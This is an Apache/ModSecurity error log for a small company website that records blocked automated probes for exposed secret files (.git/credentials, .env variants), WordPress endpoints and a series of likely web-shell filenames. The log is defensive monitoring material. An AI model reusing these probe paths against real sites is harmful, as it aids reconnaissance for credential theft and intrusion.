[Sun May 24 11:05:50.833382 2026] [:error] [pid 49689:tid 49725] [client 18.144.169.7:60236] [client 18.144.169.7] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.windfarmcoolants.com.au"] [uri "/.git/credentials"] [unique_id "ahJrDgaxiY3NxLUD97Uv6AAAAIc"]
[Sun May 24 11:05:51.686355 2026] [:error] [pid 49688:tid 49715] [client 18.144.169.7:60252] [client 18.144.169.7] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.windfarmcoolants.com.au"] [uri "/.env"] [unique_id "ahJrD2YoQ9V6a_4pBshz6AAAAFg"]
[Sun May 24 11:05:52.403417 2026] [:error] [pid 23497:tid 23503] [client 18.144.169.7:60340] [client 18.144.169.7] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.windfarmcoolants.com.au"] [uri "/.env.local"] [unique_id "ahJrECPlV47QcYwd2v9QuAAAAUM"]
[Sun May 24 11:05:53.099080 2026] [:error] [pid 49689:tid 49732] [client 18.144.169.7:50604] [client 18.144.169.7] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.windfarmcoolants.com.au"] [uri "/.env.production"] [unique_id "ahJrEQaxiY3NxLUD97Uv7AAAAI4"]
[Sun May 24 11:05:53.789830 2026] [:error] [pid 49689:tid 49718] [client 18.144.169.7:50650] [client 18.144.169.7] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.windfarmcoolants.com.au"] [uri "/.env.staging"] [unique_id "ahJrEQaxiY3NxLUD97Uv9AAAAIA"]
[Sun May 24 11:05:54.920149 2026] [:error] [pid 49689:tid 49727] [client 18.144.169.7:50702] [client 18.144.169.7] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.windfarmcoolants.com.au"] [uri "/.env.development"] [unique_id "ahJrEgaxiY3NxLUD97Uv-AAAAIk"]
[Sun May 24 11:05:55.828533 2026] [:error] [pid 49775:tid 49788] [client 18.144.169.7:50750] [client 18.144.169.7] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.windfarmcoolants.com.au"] [uri "/.env.test"] [unique_id "ahJrE4vZb8G6T8WpI1g_bwAAAAs"]
[Sun May 24 11:05:56.516084 2026] [:error] [pid 2639:tid 2659] [client 18.144.169.7:50806] [client 18.144.169.7] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.windfarmcoolants.com.au"] [uri "/.env.remote"] [unique_id "ahJrFEzQncQTd0Z0Oe_69AAAARI"]
[Sun May 24 12:57:43.251660 2026] [:error] [pid 49689:tid 49732] [client 206.189.91.190:47666] [client 206.189.91.190] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "windfarmcoolants.com.au"] [uri "/.env"] [unique_id "ahKFRwaxiY3NxLUD97VG7AAAAI4"]
[Sun May 24 18:35:28.543406 2026] [:error] [pid 49689:tid 49736] [client 34.26.204.147:50024] [client 34.26.204.147] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 34.26.204.147, incrementing ddos counter"] [hostname "windfarmcoolants.com.au"] [uri "/xmlrpc.php"] [unique_id "ahLUcAaxiY3NxLUD97V2FAAAAJI"]
[Sun May 24 18:35:28.546755 2026] [:error] [pid 49689:tid 49736] [client 34.26.204.147:50024] File does not exist: /usr/local/apache/htdocs/suspended-page/xmlrpc.php
[Sun May 24 18:35:31.387938 2026] [:error] [pid 49689:tid 49726] [client 34.26.204.147:50024] [client 34.26.204.147] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp1/wp-includes/wlwmanifest.xml"] [unique_id "ahLUcwaxiY3NxLUD97V2HgAAAIg"]
[Sun May 24 18:35:31.818444 2026] [:error] [pid 4777:tid 4798] [client 34.26.204.147:57358] [client 34.26.204.147] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/test/wp-includes/wlwmanifest.xml"] [unique_id "ahLUc_tPctoQOm4w5pN3YAAAAdA"]
[Sun May 24 18:35:32.369378 2026] [:error] [pid 23497:tid 23521] [client 34.26.204.147:58482] [client 34.26.204.147] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/site/wp-includes/wlwmanifest.xml"] [unique_id "ahLUdCPlV47QcYwd2v_4ngAAAVU"]
[Sun May 24 18:35:32.861190 2026] [:error] [pid 4777:tid 4804] [client 34.26.204.147:59064] [client 34.26.204.147] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/cms/wp-includes/wlwmanifest.xml"] [unique_id "ahLUdPtPctoQOm4w5pN3YgAAAdY"]
[Sun May 24 21:55:54.444096 2026] [:error] [pid 11368:tid 11394] [client 20.195.192.35:10213] File does not exist: /usr/local/apache/htdocs/suspended-page/x.php
[Sun May 24 21:55:54.761710 2026] [:error] [pid 11368:tid 11390] [client 20.195.192.35:10213] File does not exist: /usr/local/apache/htdocs/suspended-page/201.php
[Sun May 24 21:55:55.074605 2026] [:error] [pid 11368:tid 11370] [client 20.195.192.35:10213] File does not exist: /usr/local/apache/htdocs/suspended-page/ops.php
[Sun May 24 21:55:55.395860 2026] [:error] [pid 11368:tid 11372] [client 20.195.192.35:10213] File does not exist: /usr/local/apache/htdocs/suspended-page/samll.php
[Sun May 24 21:55:55.734868 2026] [:error] [pid 11368:tid 11375] [client 20.195.192.35:10213] File does not exist: /usr/local/apache/htdocs/suspended-page/ingfo.php
[Sun May 24 21:55:56.072600 2026] [:error] [pid 11368:tid 11392] [client 20.195.192.35:10213] File does not exist: /usr/local/apache/htdocs/suspended-page/c55cdler.php
[Sun May 24 21:55:56.385606 2026] [:error] [pid 11368:tid 11373] [client 20.195.192.35:10213] File does not exist: /usr/local/apache/htdocs/suspended-page/error_log.php
[Sun May 24 21:55:56.698672 2026] [:error] [pid 11368:tid 11379] [client 20.195.192.35:10213] File does not exist: /usr/local/apache/htdocs/suspended-page/xenon1337.php
[Sun May 24 21:55:57.030676 2026] [:error] [pid 11368:tid 11383] [client 20.195.192.35:10213] File does not exist: /usr/local/apache/htdocs/suspended-page/alfa403.php
[Sun May 24 21:55:57.343772 2026] [:error] [pid 11368:tid 11378] [client 20.195.192.35:10213] File does not exist: /usr/local/apache/htdocs/suspended-page/test11.php
[Sun May 24 21:55:57.718341 2026] [:error] [pid 11368:tid 11374] [client 20.195.192.35:10213] [client 20.195.192.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/koala.php"] [unique_id "ahMDbYfq_sTmmtTKm1U10wAAAQQ"]
[Sun May 24 21:55:58.496528 2026] [:error] [pid 11281:tid 11314] [client 20.195.192.35:10214] [client 20.195.192.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/koala.php"] [unique_id "ahMDbpKmC9taWvA91j6JvQAAAIE"]
[Sun May 24 21:55:59.426998 2026] [:error] [pid 11281:tid 11326] [client 20.195.192.35:10230] [client 20.195.192.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/koala.php"] [unique_id "ahMDb5KmC9taWvA91j6JvwAAAI0"]
[Sun May 24 21:56:00.133540 2026] [:error] [pid 11282:tid 11350] [client 20.195.192.35:10220] [client 20.195.192.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/koala.php"] [unique_id "ahMDcO0bPyN3C7HZ1R-nJAAAAMo"]
[Sun May 24 21:56:00.892311 2026] [:error] [pid 11281:tid 11313] [client 20.195.192.35:10192] [client 20.195.192.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/mac.php"] [unique_id "ahMDcJKmC9taWvA91j6JwwAAAIA"]
[Sun May 24 21:56:01.633424 2026] [:error] [pid 11280:tid 11292] [client 20.195.192.35:10204] [client 20.195.192.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/mac.php"] [unique_id "ahMDcYRn5s7laoSxy1QbcQAAAEc"]
[Sun May 24 21:56:02.293771 2026] [:error] [pid 11280:tid 11303] [client 20.195.192.35:10184] [client 20.195.192.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/mac.php"] [unique_id "ahMDcoRn5s7laoSxy1QbcgAAAFI"]
[Sun May 24 21:56:03.155049 2026] [:error] [pid 11280:tid 11291] [client 20.195.192.35:10201] [client 20.195.192.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/mac.php"] [unique_id "ahMDc4Rn5s7laoSxy1QbcwAAAEY"]
[Sun May 24 21:56:03.839465 2026] [:error] [pid 11280:tid 11309] [client 20.195.192.35:10217] [client 20.195.192.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/25d653587fdfd1.php"] [unique_id "ahMDc4Rn5s7laoSxy1QbdAAAAFg"]
[Sun May 24 21:56:04.540461 2026] [:error] [pid 11282:tid 11352] [client 20.195.192.35:10185] [client 20.195.192.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/25d653587fdfd1.php"] [unique_id "ahMDdO0bPyN3C7HZ1R-nJQAAAMw"]
[Sun May 24 21:56:05.218068 2026] [:error] [pid 11281:tid 11336] [client 20.195.192.35:10206] [client 20.195.192.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/25d653587fdfd1.php"] [unique_id "ahMDdZKmC9taWvA91j6JxwAAAJc"]
[Sun May 24 21:56:06.263327 2026] [:error] [pid 11280:tid 11289] [client 20.195.192.35:10129] [client 20.195.192.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/25d653587fdfd1.php"] [unique_id "ahMDdoRn5s7laoSxy1QbeQAAAEQ"]
[Sun May 24 21:56:07.456814 2026] [:error] [pid 15835:tid 15859] [client 20.195.192.35:10114] [client 20.195.192.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wefile.php"] [unique_id "ahMDd2WbknYlUM9P0qPj2wAAABY"]
[Sun May 24 21:56:08.208623 2026] [:error] [pid 11281:tid 11315] [client 20.195.192.35:10180] [client 20.195.192.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wefile.php"] [unique_id "ahMDeJKmC9taWvA91j6JywAAAII"]
[Sun May 24 21:56:09.127962 2026] [:error] [pid 11282:tid 11351] [client 20.195.192.35:10193] [client 20.195.192.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wefile.php"] [unique_id "ahMDee0bPyN3C7HZ1R-nKQAAAMs"]
[Sun May 24 21:56:09.902877 2026] [:error] [pid 11280:tid 11304] [client 20.195.192.35:10130] [client 20.195.192.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wefile.php"] [unique_id "ahMDeYRn5s7laoSxy1QbfAAAAFM"]
[Sun May 24 21:56:10.868775 2026] [:error] [pid 11282:tid 11347] [client 20.195.192.35:10215] [client 20.195.192.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/casp3.php"] [unique_id "ahMDeu0bPyN3C7HZ1R-nLgAAAMc"]
[Sun May 24 21:56:12.206869 2026] [:error] [pid 15835:tid 15854] [client 20.195.192.35:10125] [client 20.195.192.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/casp3.php"] [unique_id "ahMDfGWbknYlUM9P0qPj3QAAABE"]
[Sun May 24 21:56:13.708362 2026] [:error] [pid 11368:tid 11394] [client 20.195.192.35:10236] [client 20.195.192.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/casp3.php"] [unique_id "ahMDfYfq_sTmmtTKm1U12QAAARg"]
[Sun May 24 21:56:14.832636 2026] [:error] [pid 11368:tid 11382] [client 20.195.192.35:10066] [client 20.195.192.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/casp3.php"] [unique_id "ahMDfofq_sTmmtTKm1U12gAAAQw"]
[Sun May 24 21:56:15.774064 2026] [:error] [pid 11282:tid 11350] [client 20.195.192.35:10140] [client 20.195.192.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/blocks/post-comments-form/"] [unique_id "ahMDf-0bPyN3C7HZ1R-nLwAAAMo"]
[Sun May 24 21:56:16.811124 2026] [:error] [pid 11368:tid 11390] [client 20.195.192.35:10137] [client 20.195.192.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/blocks/post-comments-form/"] [unique_id "ahMDgIfq_sTmmtTKm1U13AAAARQ"]
[Sun May 24 21:56:17.670931 2026] [:error] [pid 11368:tid 11393] [client 20.195.192.35:10196] [client 20.195.192.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/blocks/post-comments-form/"] [unique_id "ahMDgYfq_sTmmtTKm1U14AAAARc"]
[Sun May 24 21:56:19.203097 2026] [:error] [pid 11282:tid 11341] [client 20.195.192.35:10211] [client 20.195.192.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/blocks/post-comments-form/"] [unique_id "ahMDg-0bPyN3C7HZ1R-nMAAAAME"]
[Sun May 24 21:56:20.205737 2026] [:error] [pid 11282:tid 11357] [client 20.195.192.35:10182] [client 20.195.192.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-admin/js/"] [unique_id "ahMDhO0bPyN3C7HZ1R-nMgAAANE"]
[Sun May 24 21:56:21.224715 2026] [:error] [pid 11368:tid 11385] [client 20.195.192.35:10207] [client 20.195.192.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-admin/js/"] [unique_id "ahMDhYfq_sTmmtTKm1U15gAAAQ8"]
[Sun May 24 21:56:22.058445 2026] [:error] [pid 15835:tid 15855] [client 20.195.192.35:10194] [client 20.195.192.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-admin/js/"] [unique_id "ahMDhmWbknYlUM9P0qPj5gAAABI"]
[Sun May 24 21:56:22.905519 2026] [:error] [pid 11368:tid 11381] [client 20.195.192.35:10237] [client 20.195.192.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-admin/js/"] [unique_id "ahMDhofq_sTmmtTKm1U16gAAAQs"]
[Sun May 24 21:56:23.702801 2026] [:error] [pid 15835:tid 15842] [client 20.195.192.35:10113] [client 20.195.192.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-admin/css/colour.php"] [unique_id "ahMDh2WbknYlUM9P0qPj6AAAAAU"]
[Sun May 24 21:56:24.640871 2026] [:error] [pid 15835:tid 15839] [client 20.195.192.35:10126] [client 20.195.192.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-admin/css/colour.php"] [unique_id "ahMDiGWbknYlUM9P0qPj6gAAAAI"]
[Sun May 24 21:56:25.717810 2026] [:error] [pid 11282:tid 11342] [client 20.195.192.35:10200] [client 20.195.192.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-admin/css/colour.php"] [unique_id "ahMDie0bPyN3C7HZ1R-nNAAAAMI"]
[Sun May 24 21:56:26.581396 2026] [:error] [pid 11368:tid 11383] [client 20.195.192.35:10187] [client 20.195.192.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-admin/css/colour.php"] [unique_id "ahMDiofq_sTmmtTKm1U17gAAAQ0"]
[Sun May 24 21:56:27.269880 2026] [:error] [pid 11368:tid 11381] [client 20.195.192.35:10197] [client 20.195.192.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/half.php"] [unique_id "ahMDi4fq_sTmmtTKm1U18QAAAQs"]
[Sun May 24 21:56:28.333967 2026] [:error] [pid 11281:tid 11320] [client 20.195.192.35:10117] [client 20.195.192.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/half.php"] [unique_id "ahMDjJKmC9taWvA91j6JzQAAAIc"]
[Sun May 24 21:56:29.077732 2026] [:error] [pid 15835:tid 15856] [client 20.195.192.35:10205] [client 20.195.192.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/half.php"] [unique_id "ahMDjWWbknYlUM9P0qPj8QAAABM"]
[Sun May 24 21:56:29.911843 2026] [:error] [pid 15835:tid 15857] [client 20.195.192.35:10118] [client 20.195.192.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/half.php"] [unique_id "ahMDjWWbknYlUM9P0qPj8wAAABQ"]
[Sun May 24 21:56:30.668546 2026] [:error] [pid 11368:tid 11386] [client 20.195.192.35:10128] [client 20.195.192.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/2P.php"] [unique_id "ahMDjofq_sTmmtTKm1U19wAAARA"]
[Sun May 24 21:56:31.314648 2026] [:error] [pid 15835:tid 15853] [client 20.195.192.35:10235] [client 20.195.192.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/2P.php"] [unique_id "ahMDj2WbknYlUM9P0qPj-AAAABA"]
